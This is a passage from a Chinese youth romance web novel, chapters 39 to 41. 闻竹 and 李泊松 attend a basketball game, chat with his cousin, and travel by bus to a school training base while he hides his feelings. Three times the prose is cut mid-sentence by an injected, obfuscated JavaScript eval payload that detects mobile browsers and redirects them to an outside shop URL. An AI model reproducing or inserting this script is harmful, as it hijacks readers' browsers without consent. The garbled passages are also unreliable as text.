不过今天他这一身是真的挺潮的,闻竹盯着他的裤子看了还好几眼,克制着自己伸手扯一下的冲动。 “你盯着我腿做什么?” “……”闻竹无语道:“我看的是你的裤子。” “裤子……行,”李泊松点头,“你想说什么?” “没什么,就是挺担心你的。” 李泊松:“?” 闻竹给他答疑解惑:“你这几十年后得老寒腿吧,”她诚恳道:“注意身体。” 这话好像听过。 “谢谢啊,”李泊松的语气却不怎么诚恳,他问:“所以帅吗?” “特别帅。” 这话半真半假,夸张得不像出自闻竹之口,却让李泊松很高兴:“行,那我明天也穿这条。” 闻竹:“……” 这条裤子是近两年最流行的那种款式,宽松的半拖地裤。他本来就身高腿长,让这裤子显得身形更好。闻竹不着痕迹地数了数,一二三四……得有七八个洞吧。 “明天下雨,听点儿劝啊。”闻竹有些头疼,语气像在劝告不听话的小朋友。 “那你明天再提醒我?”李泊松试探地问。 闻竹抬眼看他,脸上的假笑看起来很温柔,嘴上说的却是:“做梦吧你。” 39. 珍贵礼物 周末,闻竹如约起了个大早,晃悠到卫生间的时候发现头发有点炸毛了,她对着自己“鸡窝”一般的发型神色如常地洗脸刷牙,情绪十分稳定。又过了十分钟又对着镜子吹头发,吹风机嗡嗡轰响,让闻竹错过了李泊松的电话。 在她收拾好准备出门时才发现十多分钟前的未接来电,闻竹一边戴遮阳帽一边回拨,男生清亮的声音在她耳边响起。 “你先别说话,让我猜猜。你是才醒,还是已经收拾好了?” 闻竹轻笑了声,觉得他好幼稚,却特意按下门把手,将关门的动作放得非常轻。 “行,你猜吧,我不说。” 她步子又轻又快,两句话的工夫已经到了二楼,电话那头却没了声音。而后她听到了单元门打开的声音,又下了半层就拐过了一楼的平台,和站在门口的李泊松对上了视线。 他身后是盛夏浓重的绿意。 “这算猜对了么?”他靠在门边问。 闻竹挑眉,答道:“这算作弊。” 李泊松笑了,给闻竹让出路来,又轻轻地关上单元门。而后,两人都不约而同地把对方从头到脚打量了一番。 他今天穿的是一套黑色运动服,换掉了昨天那条潮到风湿的破洞牛仔裤,闻竹在心里评价一番,觉得长得好看的人好像也不靠衣装,随便穿穿就非常好了。 李泊松是在看闻竹的头发。 她以前是不喜欢早上洗头的,把头发剪短后好像也妥协了。大多数人长发和短发都是不同的感觉,短发的她有种利落逼人的气质,显得本就优越的骨相更加有优势。宽大的遮阳帽把她本就小的脸遮了个七七八八,在李泊松的视角自然看过去,只能看到她很薄很红润的唇。 他迅速移开视线,修长的手指无意识蜷了下,这才发现闻竹正抬了头直勾勾地盯着他看。虽然帽子和口罩之间只露出那双有神的眼睛,但李泊松知道她现在一定面色不善。 “我刚刚说什么了?” “你说……”他这才意识到刚才自己真的走了神。在把脑海中仅有的信息拼凑后,李泊松回道:“你问程初夏什么时候回去,你想认识她。” “……”闻竹对这种走着神还能分出一根神经听对方说话的人没有办法,生气也没有合适的理由。 这次是她问了,如果她没问,这些话在他那儿就直接左耳进右耳出了,留不下半点痕迹。 她还是没忍住:“你这几天怎么了,经常走神……你谈恋爱了?” 这句话是开玩笑的,李泊松清楚。但他心里却在那个瞬间产生了破罐子破摔的想法。 我没谈恋爱,但我想和你谈。 “没有,没谈,”李泊松内心阴暗了几秒钟,而后就又是阳光少年了。他在心里叹过气,嘴上义正严辞:“忙着学习呢,谈什么?” “……”闻竹仔仔细细地看了他一会儿,才说:“我开玩笑的,我怕你又有什么心事憋着不讲。有事的话你可以和我说,有人分担情绪总会轻松些。” 或许没人懂这看似轻飘飘的两句话对李泊松的杀伤力。 他被这一记直球击中,心脏狂跳。 “我知道,不管什么事情我都会和你说的。”李泊松很轻地点了下头,又明知故问道:“我什么时候瞒着你了?” 闻竹表情认真,甚至想要“罗列罪证”,但最终只是说:“你只会很晚很晚的时候才会告诉我罢了,因为各种原因。” 而后闻竹拍了下他的胳膊——一个带有安抚性质的动作,李泊松朝她笑了笑。 “奶奶怎么样了?”他问。 闻竹又愁起来:“已经出院了,我昨天去看她,她状态挺好的,但是不愿意搬过来和我们一起住。” 李泊松点点头,语气很轻:“不想打扰你们的生活吧。” 闻竹知道是这样,又叹了口气。 - 两人进了场后就一直坐在看台没动,他们的位置比较靠前,视角很好。体育馆里虽然说不上人山人海,但也能看得出这场比赛很受关注。 程初夏的球风和她的性格很像,很利索也很勇,球技就更不必多说,闻竹能看得出她是那种很有领导能力的人,能让整个队伍像一团火焰一样燃烧起来。如果不是看到她去医院,根本看不出她带着伤。 李泊松能看出闻竹的激动,在热闹的场馆里,他想和闻竹说句话,于是放任自己凑近了些,又很礼貌地在一个不会近到让她不舒服的距离停下。 “感觉这么样?” “感觉真好,”闻竹听到声音后转过去看他,眼睛依然是晶亮的,她的鼻尖上挂了汗珠,用力地点了下头:“特别好玩。” 闻竹平时很少展现出这么活泼的一面,因而这个样子的她看起来尤其难得和珍贵。李泊松好笑道:“这么好玩啊,那明天去打球?” “打什么球?” “你说呢?” “……那还是算了,”闻竹赶忙改口,“距离产生美啊,让我自己去打我就不喜欢了。” “行,”李泊松逗她:“你的喜欢是不是有点太潦草了?” 闻竹没像以往那样和他计较,她摆摆手,意思大概是别打扰她看比赛。旁边人只好闭了嘴,重新把视线投入场内。 程初夏果然不负所望地拿下了比赛。 下半场结束后,闻竹才想起去卫生间,她背着包转身,李泊松拉住她,拿过了她的包。 “你包里装了什么?还挺沉的。” “装了你的水和咱们两个的钥匙。”闻竹即答。 “哎,”李泊松笑了,“总觉得好像被碰瓷了,一瓶水就这么沉啊?” 闻竹也笑,她一面翻找一面道:“其实是装了挺多东西的,遮阳伞、充电宝,哎这里怎么还有巧克力,你要吃么?” 李泊松看那块巧克力的眼神像在看尸体:“这天这么热,都化了吧。” 闻竹把包装拿出来看了眼,用食指蹭了下自己的鼻尖。“那你帮我扔掉?” 垃圾桶就在这排的不远处。 李泊松好整以暇地看了她一会儿,而后接过那块巧克力,另一只手的手指勾着包的带子,朝她挥挥手:“去吧,我在这等你。”他看着来来往往的人流,改口道:“或者,我陪你去?” “……我丢不了。”闻竹无奈,晃了晃手里的手机,示意他有事联系,然后转身逆着人流跑下了台阶。 十几分钟后,程初夏挎着个大包上台阶,一眼就看到了李泊松。他胳膊搭在栏杆上,远远地看到了程初夏,和她说:“恭喜啊,表姐。” “你的好朋友呢?”她一脸调侃地问。 “人家有名字。” “OK,”程初夏摊手,又问他:“哎,你准备什么时候告白?” 她这手出其不意简直让人防不胜防,李泊松觉得刚才那块巧克力很咸,刚喝了口水就被呛得咳了两声。“我什么时候说……”人潮渐渐散去,他顿了顿,情绪在狂热气氛中慢慢降温,恢复了清明的思绪。 “我和谁告白?” 程初夏无语地翻了个白眼:“别装了你,你以为自己藏得很好吗?” 李泊松笑了:“不好吗?” “你可以去问问,你们共同的朋友能不能看出你那点心思。” “我怎么问?”他说:“‘我喜欢闻竹,你们知道吗?’是这样吗?” “啊,现在你承认了。” “我本来也没否认。”李泊松说。 他有时候觉得挺纳闷的,他和程初夏的接触根本说不上多,不明白她为什么这么确定自己喜欢闻竹,他从来没说过。对此,程初夏几天前给出的解释是,“我前男友能从宁城机场排到宁大,我怎么不知道?” 程初夏顿了顿,忽然问:“你知道我为什么那么确定你喜欢她吗?” 李泊松“嗯”了声,“因为你前男友能从宁城机场排到宁大。” 明明是重复她的话,被这人面无表情地说出来之后有种冷笑话的感觉。程初夏无语了,一针见血道:“因为你非得回宁城上学,谁劝都不听。我爸妈都说了在那边上学可以一直住他们那儿。你回这里的目的是什么,喜欢春天的柳絮吗?” 李泊松说:“我那时候对她还不是喜欢。” “……”程初夏:“你就嘴硬吧。” 于李泊松而言,这段友情是一份无比珍贵的礼物,在这份珍贵下,他的心动就如同行走钢丝。越是在意就越是心动,越是心动就越是胆小。 其实这样也很好。 他抬眸,远远地看到了闻竹,和她招手。把手放回兜里的时候,闻竹抬眸朝他们两个笑了下,一边上台阶一边说:“不好意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201999|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思,久等了,”她喘了口气,“没想到卫生间人这么多。” - 夜幕降临时,程初夏和闻竹并排坐在李泊松家的阳台上。 说是露台其实更加合适,这个平台面积很小,她们两个坐在这,加上旁边的两个花盆,空间基本上已经满了。后边的玻璃门关着,闻竹倚在门上,在夜里抬头,城市里难得的几颗星星朝她眨眼。 程初夏本来就是个爱交朋友的女孩,她觉得闻竹特别合她的眼缘。闻竹因为忘记了小时候曾经认识她觉得很抱歉,程初夏说没事的,“我其实也是两年前才想起来。” 那时候李泊松因为锁骨的伤逃过了高一的军训,但依然要每天按时报道。开学早了一周,他填了住宿的单子,平时住在学校。军训期间请假很麻烦,李泊松给程初夏发消息,请她帮忙寄一份礼物到临城。 程初夏看着收件人的名字,才想起来闻竹这个女孩。 “他当时伤还没养好,我爸妈特别反对他住校,我们家房子挺大的,我还不在家,我妈说他住校之后家里很空旷。” 闻竹顿了顿,低声道:“是怕给你们添麻烦吧,他这人,边界感还是挺强的。” 程初夏看着她微笑。 “哦,”闻竹回神,抱歉道:“我是不是说太多了。” “没有,你很了解他。看他那个性格,我以为他不在意这些。” 她说完这些,两人一时间都没再开口,一阵晚风吹过,闻竹的发尾扫在她的侧脸,有些轻微的痒。、 程初夏问:“你会打篮球吗?” 闻竹说“不会”,“初中的时候,李泊松喜欢拉着我陪他练球。但我其实只能看懂球赛,打球不行。” 她偏头问:“初夏姐,你球打得这么好,是从小就喜欢吗?” “嗯,其实也算是‘无心插柳柳成荫’吧。我小时候身体不太好,爸妈送我去学篮球,我当时就想,学就学呗,不想学了就跑,但是慢慢地我就发现,篮球真好玩。” “真好啊。”闻竹开玩笑:“后来发现自己玩得很厉害,就觉得更好玩了,是吧姐?” 程初夏笑出声:“你真可爱,我真喜欢你。” 身后有脚步声传来。李泊松象征性地敲了两下玻璃门,之后把门拉开。 “这是打扰了谁的真情告白?”他垂眼,把手里端着的水果拼盘递给闻竹。 “你怎么偷听啊。”闻竹撑着下巴。 李泊松很坦然:“没有啊,这么一块玻璃根本不隔音,而且我是来送水果的,”他又把茶几上的纸巾拿过来给她们,说:“走了,你们继续聊。” 闻竹看着他的身影消失在客厅,把头转回来,听到程初夏说,“其实我以前很少和别人说我喜欢篮球。” 闻竹“嗯”了声,尾音轻轻上扬,是个疑问的意思。 “因为很多人会觉得纳闷,怎么会有女生喜欢篮球?好像篮球就是让男的玩的,女生说喜欢篮球是奇怪的事。有的人会问我,哎,你懂篮球吗?” “太自大了,难道他们就懂了?篮球排球羽毛球,或者别的什么,都是体育运动罢了,本来就忍忍可以参与,这也要套上刻板印象……” 程初夏神清气爽,看闻竹愈发高兴。 手机在闻竹身后的地毯上震动,闻竹接了电话,应了两声就挂断了。 她妈妈要去奶奶家,闻竹知道后叫陈青也带上她,现在陈青准备出发了,给闻竹打电话叫她下楼。 闻竹起身的时候和程初夏交换了微信。在她出门后,程初夏也拎着包准备走了。 在玄关换鞋的时候,李泊松叫了声表姐,说:“我这这边一切都好,你帮我和姑姑、姑父说,叫他们别惦记。” “嗯,”程初夏说知道了,“你小时候我妈就喜欢你。” 李泊松笑了下。 “哎,”她换完了鞋,没着急走,反而八卦起来,“我感觉闻竹有点崇拜我。” “你的错觉,”李泊松说,“她喜欢灌篮高手,对你有滤镜。” 程初夏直言直语,让人觉得很扎心。 “对你怎么没滤镜?” 李泊松比她想得自信了些,好像没被刺激到。 “你怎么知道没有?” 走之前,程初夏还意味深长地说:“别太胆小啊,泊松。” 40. 如果我们 夏天的天气让人捉摸不透,大雨不打招呼骤然而至,让人毫无防备。 中午吃完饭回到教室时还是天朗气清的样子,午睡铃打响后,外面滴滴答答的雨声涌进耳朵,一拉开窗帘,“哇”和“我去”此起彼伏地在周围响起。 闻竹喝了口水,也把目光投向窗外。 晴朗的天气不复存在,外面浓云密布,天色昏暗得宛如黑夜,乌云里的钟楼亮起了暖黄色的灯光,成为了一片漆黑中的灯塔。“砰”的声音响起,是冰雹砸到地上的动静。 即便这样,温度却丝毫没有降下来,闷热更甚。有几滴雨水顺着半开的窗子飘了进来,闻竹马上起身越过李泊松的后背去关窗。 闻竹的本意是不想让他被雨淋到,虽然午睡铃已经打过了,但人还没醒,依旧睡得很香的样子。然而她刚把身子撤回,李泊松就揉了把脸,睁开了眼睛。 他刚醒的时候眼神难得露出点迷茫来,闻竹觉得有点抱歉,看他的眼神都和平时不一样。 李泊松很敏锐地发现了,朝她懒洋洋地笑了下:“怎么这个表情?我听到打铃了,不是被你弄醒的。” 闻竹盯着他多看了一会儿才“嗯”了声。 大抵是突然开始刮风了,树被吹得晃动起来,大雨倾盆落下,拍打在窗户上,又顺着窗子流下去,宛如瀑布一般。闻竹张了张嘴,惊讶于盛夏天气的变化莫测。 李泊松偏头打了个短促的哈欠。 毕雨泽中午临时加了个训练,带着满身水汽进来了,他差点挨浇,好在体育馆的更衣室里挂着雨衣。他脱掉雨衣挂在了班级后边,把矿泉水往桌上一放,在座位上坐下:“听说了吗?” 这种说了上句没下句的情况通常都会被损,果然,写着卷子的路一杭开口道:“请放一个完整的屁。” 毕雨泽懒得理他,在李泊松睡眼惺忪地转了半边身子过去时,闻竹也按捺不住好奇转头。四个人围成一个圈,毕雨泽说:“小道消息不保准,咱们马上要去基地了!” 三个人听了,表情没有一丝一毫的变化,李泊松甚至又垂头打了个哈欠。 闻竹看他,不知道他今天怎么这么困。 “……”毕雨泽闹脾气了,“什么意思啊你们?” 闻竹:“嗯,你说得对,七月二号去,我们知道。” “不是,你们怎么知道??”他惊讶了。 “岩姐说的,”路一杭绘声绘色地复述了原话,“有个小道消息,可以先告诉你们。七月二号要去素质培训基地,五天时间。我知道出去玩大家都很兴奋,我也是,但是我们班有个不成文的规矩,就是‘学习的时候认真学,玩的时候高兴地玩’。期末考试在即,未来一段时间没什么机会复习,各位同学,最近几天努力点。” “……”毕雨泽扶额:“哎哟我去。” 未来的一段日子被安排得很明白,上一周课后再去基地一周,然后回来就期末考试了。因为上次的家长会没开,这次考试后还有个家长会,搞得大家不说人心惶惶,但紧张的气氛浓重。 李泊松睡够了,开始鼓捣闻竹的那个六阶魔方,经过这段时间三天打鱼两天晒网的联系,李泊松也能玩得像模像样了。闻竹觉得好笑,问他:“我记得你以前对这个半点儿兴趣都没有,现在怎么,你变啦?” 骨节分明的手指转动魔方,鲜红的一面朝向闻竹。他听了有些无奈:“没有,但是不管怎么说,是比写卷子有意思。” “……”闻竹怎么想也没想到这个理由,她瞥了眼李泊松桌上的卷子,是语文。她挑眉,从李泊松手里收回大龄儿童的玩具。“大龄儿童”递过来一个看着有些幽怨的眼神,闻竹好笑地抬了下抬下巴:“老师来了。” - 拉着行李箱在操场站队的时候,闻竹觉得大家的心情都有些像等待春游的小学生。 今天不需要穿校服,闻竹的衣着很利索,防晒衣工装裤,脚上一双不怎么好看但是非常舒服的鞋。她今天把头发编了起来,扎了两个辫子,因为头发不长,显得整个人非常俏皮。 曲思嘉没看过她这个风格,有点被惊艳到了,闻竹笑她夸张。 “哎,真的很好看啊,不信你问……”她视线往旁边偏了下,从前到后扫过路一杭毕雨泽,最后眼睛滴溜一转,说:“不信你问李泊松!” 李泊松听了,好像漫不经心地抬了下眼皮,视线刚落到闻竹脸上,他就回道:“嗯,好看。” 听着感觉态度敷衍得很。 他站在闻竹后边一点的位置,闻竹听到他的话偏头去看,却捕捉到了他还没来得及收回的目光。 看起来不但不敷衍,反而有点她不理解的认真。 曲思嘉已经开始了下一个话题:“是阿姨给你编的吗?” “不是,”闻竹不再纠结刚才的问题,和她说:“是我奶奶,她最近住在我家。” 李泊松站着,听着闻竹说话,随手回着微信里的消息。 “我读幼儿园的时候,有一年多我妈都在国外,班里别的小女孩都编漂亮的小辫子,我就一直扎那种最简单的马尾。” 李泊松一边打着字一边觉得想笑。 其实闻竹说得也不全对。 最开始她的头发很短,刚想留长发的时候很长时间都是梳羊角辫。他不知道那种发型是不是叫这个名字,就是把头发一部分一部分地扎上,然后短发会翘起来,看起来像羊的犄角。 “前几天有次闲着聊天,我和我妈开玩笑说,你看别人家的小女孩都梳那种编起来的辫子,你工作那么忙,都不给我梳。我妈就说……”说到这儿的时候她没忍住笑了下,“她说这和她工作忙没有关系,就算她不忙也不会编辫子。” 李泊松嘴角扬起一个弧度,说道:“哦,不会编辫子的妈妈但是有两个可爱的女儿是吗?” 闻竹:“唉。” 每个班一辆大巴,车从最靠近操场的东门进来,一辆一辆地接着在柏油路上停下,从一班开始上车。一班站排往前走的时候,闻竹聊天聊得口渴,从挎包里抽出一瓶水。她刚准备拧瓶盖,一个白色的瓶子从旁边递了过来,她抬头,和李泊松对视。 一时间,两人都没说话,李泊松解释道:“晕车药。” 闻竹恍然:“哦,”她眨了下眼睛,“你……” 你还记得啊。 闻竹有时候在市区打车都会晕,更别说这种大客车。小时候去博物馆参观,她都是要在肚脐上贴姜片的。这些李泊松都知道。 但他知道是一回事,能记住是一回事,给她带晕车药就又是另外一回事了。 闻竹改口说谢谢。 他们都这么熟了,说谢谢反而有些怪,但这个时候除了谢谢,闻竹也不知道说些什么好。 “你自己带了吗?”李泊松问。 昨天晚上她爸爸翻箱倒柜地找平时用不到的晕车药,却发现找到的都过期了,于是特意去买了新的回来。早上出门前闻竹就把药放进了包的内袋里,只不过刚才忘记吃了。 但她看着李泊松的眼睛,鬼使神差地说了“没有”。 “那其他的药呢,”他又问,“藿香正气带了没有?” 闻竹的体质其实还不错,一年到头也不怎么感冒,但只要感冒就伤筋动骨,每次都吐得昏天黑地。到了三伏天更是得注意,搞不好就会中暑,典型的怕热不怕冷。 闻竹不用回忆就知道,这个她是真没带。李泊松本想说给她拿着备用,又觉得她不一定中暑,还是不说为好,于是这个话题就翻篇了。 孟丽岩要求同桌两人坐在一起,免去串座找座位这些闹哄哄的环节。 闻竹坐下,系好了安全带后才看到李泊松朝她走过来。他把包放在上面的置物架上,垂下手的时候俯视着闻竹,闻竹也抬眸看他。之后他在闻竹身边坐下。 李泊松看到她的发丝被晨曦勾勒出金色的光。 闻竹把刚剥开的水果糖丢进嘴里,眨了几下眼睛,偏头叫了旁边人一声,朝他摊开手掌。她手心里的糖很多,五颜六色的,是他们读小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212224|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学时商店里最多的那种硬糖。闻竹一坐车就会吃这种糖,据她说非常管用。 “谢谢,你人真好,”他笑笑,在闻竹手心拨弄了一下,“这个粉色的是什么味道?草莓吗?” 闻竹扯了下唇角,给它翻了个身,两人都看清了包装上的字,闻竹:“是荔枝……” 李泊松“哦”了声,又拿了块绿色的,边拆包装边说:“我猜是哈密瓜。” “你真是无聊……” 闻竹很无奈地笑了下,就懒得再理他了,往前边的座位伸手去叫曲思嘉,想问她吃不吃糖。心里却还想着,什么哈密瓜啊,是青苹果,她现在吃的就是这个味的。 在她分了一圈糖靠回椅背时,看到旁边人正把那块青苹果的硬糖放进嘴里。 “你要不要和岩姐说,和坐在前面的同学换一下?你晕车那么严重,靠前一点会舒服些。”他含着糖,说话略有些含糊。 闻竹摇头:“不用那么麻烦,我吃了药,又吃了糖,没事。” “嗯?”他不太放心。 “嗯,”闻竹问:“你想挨着谁坐吗?” 李泊松有些无奈,他看着闻竹,然后表情恢复如常,平淡道:“我只想挨着你。” 闻竹平时睡得少,在车上却是一定会睡上一会的。她一觉醒来,迷迷糊糊地不知道自己睡了多久,车窗的帘子的被拉上了,遮住了外面刺眼的日光,她小心地掀开帘子的一角往外看了几眼,发现自己根本不认路,于是又合上了帘子。 她偏头往旁边看,正好对上李泊松的视线。他说:“醒了。” “嗯,几点了?”闻竹问着,眼睛瞟向他的手腕。 他抬起手腕,又把表盘往闻竹的方向转了下,估计道:“还得二十分钟吧。” 闻竹点点头。 刚才睡得太沉,乍一醒来觉得很冷,她眯着眼睛抬头,看到了头顶上呼呼往外放冷风的空调。她记得睡前随手把外套搭在了腿上,哪里去了…… 旁边伸过来一只手,然后那只手把她的衣服放回她腿上。 “你醒的时候它滑下去了。”李泊松简单地解释了句。 闻竹一边穿衣服一边瞧他,他只穿了件简单的黑色半袖,戴着白色的有线耳机。 “你冷么?” 李泊松轻轻摇了下头。 她收回视线,穿好衣服后又问了个很严肃的问题。“刚刚我睡着的时候,没有往你身上靠吧?” “没有,”李泊松弯了下眼睛,好奇道:“怎么这么问?” 闻竹还没彻底清醒,就絮絮叨叨地给他讲了自己上次在车上枕着旁边男生的肩膀睡了半程的尴尬事。她现在提起还觉得非常不好意思,李泊松看到她捏了下高挺的鼻梁。 “什么时候?” 闻竹想了想,说:“去年年底,我去我姑姑那住了几天,那时候赶上大学放学,无座票都买不到,只好坐客车走高速了。我吃了晕车药就一直犯困,真没办法。” “嗯,”李泊松想我倒是希望你靠着我,他嘴上很绅士地问:“你要不要再睡一会儿?” 闻竹偏头打了个短促地哈欠,说:“不睡了吧。” 李泊松有点遗憾地想:好吧。 遗憾完,他还觉得自己幼稚,于是嘲笑了自己一下。 耳机里的歌正好切到下一首。 闻竹醒了之后一时间没事做,她环顾四周,发现大家做什么的都有。曲思嘉在座位上看小说,闻竹仔细辨认了下,非常厚的一本小说,红色封皮,大概是她上次差几十页没看完的《红楼梦》。后座的毕雨泽和路一杭在打游戏,路一杭的表情还算淡定,毕雨泽大概是因为没法自由地语言输出,憋得脸都快绿了。 她觉得好笑,动了动手,用了个巧劲摘掉了李泊松右耳的耳机,又戴进了自己的右耳。李泊松动都没动一下,默认了她的动作。 闻竹听到了熟悉的旋律,几乎是瞬间在脑海中对应上了歌名。 “从此后人生重新定义,从我故事里苏醒。” 41. 无名飞醋 闻竹一只耳朵戴着耳机,有时听到熟悉的旋律能想到歌名,有的却连听都没有听过。 因为睡觉的时候含了糖,醒来之后嘴里有种又浓又咸的苹果糖味,她喝了小半瓶水,透过帘子的空隙看窗外的景,就这么看了好几分钟,之后听到毕雨泽吐槽还接了句话。 李泊松知道这是清醒了。 两个人戴着同一副耳机,共享一样的声音和一样的空气。 闻竹凑过去,问他有没有通关那个推理游戏。李泊松给了她一个无奈的笑,闻竹想了想,也觉得自己那句话是废话,从上次在他手机上下载这个游戏到现在,他们甚至没有大块的空闲时间。 于是她提议:“我们一起玩吧?” 李泊松觉得这个主意很好。 想了想后发现,他可能是觉得只要是和闻竹在一块,就怎样都好。 说是一起,其实大多数时候都是李泊松在玩,闻竹已经玩过一遍了,靠听耳机里的声音判断剧情走向,极偶尔的时候才会凑过去看几眼画面。即便是吃了晕车药,她看手机也还是会觉得晕。 李泊松还算聪明,找线索很快,这让她忍着不剧透忍得没那么辛苦。 下车的时候时针快要指向九,手机里弹出了天气的通知,说未来几天天气晴朗,最低气温也在三十度,请注意防晒防暑。闻竹关掉手机,指着李泊松臂弯里的防晒衣提醒他穿上。 “哎?你今天好听话。”闻竹一边看他整理袖子,一边纳闷道。 “这有什么奇怪的?”他挑眉,“我一直以来的优点就是听劝啊。” “你就扯吧。”闻竹冷哼了声。哼完她想了想,觉得三年后的这个李泊松确实比之前听劝很多,以前可不见得他把自己的话当回事,这是怎么了? - 闻竹和曲思嘉拉着行李箱走到女生寝室,她们班女生都住在三楼东侧的房间,巧的是,她的室友其中一个是许璐瑶。在那些乱七八糟的误会被挑明之后,闻竹和她相处与普通朋友无异。 因为李泊松说过,她们两个谁都没错,不应该因为一个傻逼放弃原本可以成为朋友的人。 当时乍一听到这句话,闻竹惊住了,之后她又笑了好一会儿。李泊松绝大多数时候情绪稳定,三思后行,偶尔打架,极少骂人,更何况是这种听起来很粗俗的骂法。 不过看他的表情,骂完这句也有点后悔。 四个人一间寝室,还有一个女生叫宁夕,和许璐瑶关系很好。她们互相打了招呼,然后开窗通风,开始铺床。 十分钟后,把眼前的话干得差不多之后,闻竹走出去发现了一个很让人心碎的事实:这栋楼里竟然没有热水。 “竹子?”曲思嘉叫了她一声,把她从思绪里拉了出来,“是没有热水啊,上次来就没有。”她好奇道:“你初中的时候没来过?” 闻竹摇头:“启程之前发了高烧,就没来。” 她可以接受楼里没有浴室,但是热水都没有,真是让人觉得很意外。不过她接受能力比较强,早知道这叫培训基地,不叫春游,心里吐槽了两句后就拿起暖壶准备去打水了。 曲思嘉也要和她一起去,闻竹说不用。 “这就一个暖壶,你收拾这么久也累了,还跑一趟做什么?我一个人可以。” “可是你知道在哪儿么?” “……” 这晕车药可能有副作用,闻竹想。 - 两人一边走一边漫无目的地聊天,经过篮球场时,里面传来了“砰砰”篮球落地的声音,还有打球时的说话声。 不知道是什么时候养成了这种习惯,最近只要经过篮球场,闻竹的视线就习惯性地穿过拦网往里看。 今天依然,她看了一眼就收回了目光。 岩姐说基地活动的时候闻竹在写物理大题,溜号溜得彻底,现在曲思嘉又说了一遍,她仔细听了,试图从里面提取出自己感兴趣的项目。什么真人cs、陶艺和做饭听起来都挺好玩的,除了天气太热之外,这几天大概和度假没什么区别。 走之前闻兴阳给她带了很多药,防暑解暑的最多……闻竹好像是什么脆弱的植物,一到三伏天就需要经常浇水,而且最好避光。 她们两个七拐八拐地到了热水房,把水壶的塞子拿下来,拧开热水。饮水机发出了声响,之后水蒸气蒸腾而上,烘得人更加燥热。 曲思嘉问:“前几天你说的那个游戏,你打完了吗?” 闻竹点头,又说:“刚刚在车上我和李泊松一起玩了这个,挺难的,但是很好玩。” “他也喜欢?” “不知道,”闻竹想了想,“看不出是喜欢玩还是想打发时间才玩,但他喜欢推理小说。” 曲思嘉点点头,听到闻竹说:“你一会儿要玩这个吗?我可以陪你一起。” “好呀,”她笑出一口白牙,打趣道:“这么喜欢这个游戏啊?是不是每个想玩的人你都想陪他玩一遍?” 闻竹说:“是啊,真的很好玩。” 这会儿她们两个已经拎着热水瓶走到了门口,闻竹话音还没落,刚转身就迎面撞到了同样来打水的李泊松和路一杭。 他们好像已经在那儿站了一会儿了。 李泊松非常讲究地套着那件防晒衣,从五月开始他就捂得严实。闻竹觉得他整个夏天不但不会被晒黑,没准还会更白一些。之后她微微仰头,看到李泊松的表情后愣了愣。 她觉得自己的阅读理解能力还不错,这不是盲目的自信,语文卷子就是这么告诉她的。但好像并不能准确地理解一个人的想法或是表情。 就像现在,她觉得李泊松看她的眼神很……幽怨,漂亮有神的眼睛里流露出的情绪有点责怪,好像她做了什么错事或是说错了什么话。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221668|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这是怎么了? 不过闻竹没多想就被曲思嘉的话打断了,曲思嘉叫道:“路一杭,你怎么穿睡衣出门啊!” - 当天下午的活动就是参观基地,植物园种植园科技中心一条线走下来,大家都累坏了,并且强烈地认为这个基地其他的建筑设施和宿舍不在一个维度。 一下午过得很快,中间有半小时回寝室休整的时间,然后就到了吃饭时间。 燥热的下午,走来走去逛了好几个小时,像闻竹这种汗腺不发达的人都觉得自己身上流了很多汗,这个时间洗个澡肯定是不够的,于是闻竹拿着盆跑到卫生间去洗头。 她颇为不舍地拆掉了两个麻花辫,洗完头后简单地吹了下就和她们一起出去吃饭了。 这儿的食堂比一中的小很多,又没有分流,大家都排了很久的队,李泊松他们比她们两个还慢,在闻竹安静吃着鸡翅时,李泊松端着盘子坐在了她的对面。 “你头发还有点湿呢,没吹?” 闻竹听了,咽下嘴里的东西,拿纸巾擦了擦手后摸了把自己的头发,简单答道:“吹了,没干。忙着来吃饭,太饿了。” “会感冒吧?” “不会,这么大太阳呢。” 李泊松想着,这边算是半山腰,早晚温差大,谁能说得准。 闻竹抬头看他,发觉他也洗了头发,短发干得快,他的头发现在看起来柔软蓬松。 “你们两个都洗头了啊,”毕雨泽也坐下了,他鼻子灵,又闻了闻,“这是同一种洗发水吗?感觉味道一样,还挺好闻的。” 李泊松:“是吗?” 闻竹不知道是不是同一种,她也没有那么好用的鼻子,随口扯道:“对,楼下超市两件八八折。” 李泊松噗嗤一笑。 - 毕业多年后,一个平常的不能再平常的下午,他们两个在阳台晒太阳,闻竹刚洗过头,发丝滴着水,李泊松叹口气,把笔电放在一边去给她擦头发,而后他忽然提起这回事。 闻竹想了很久才想起这个下午。她根本不记得自己用的是什么洗发水了,李泊松也不记得,这像是个青春的未解之谜一样,存在他们的心里。 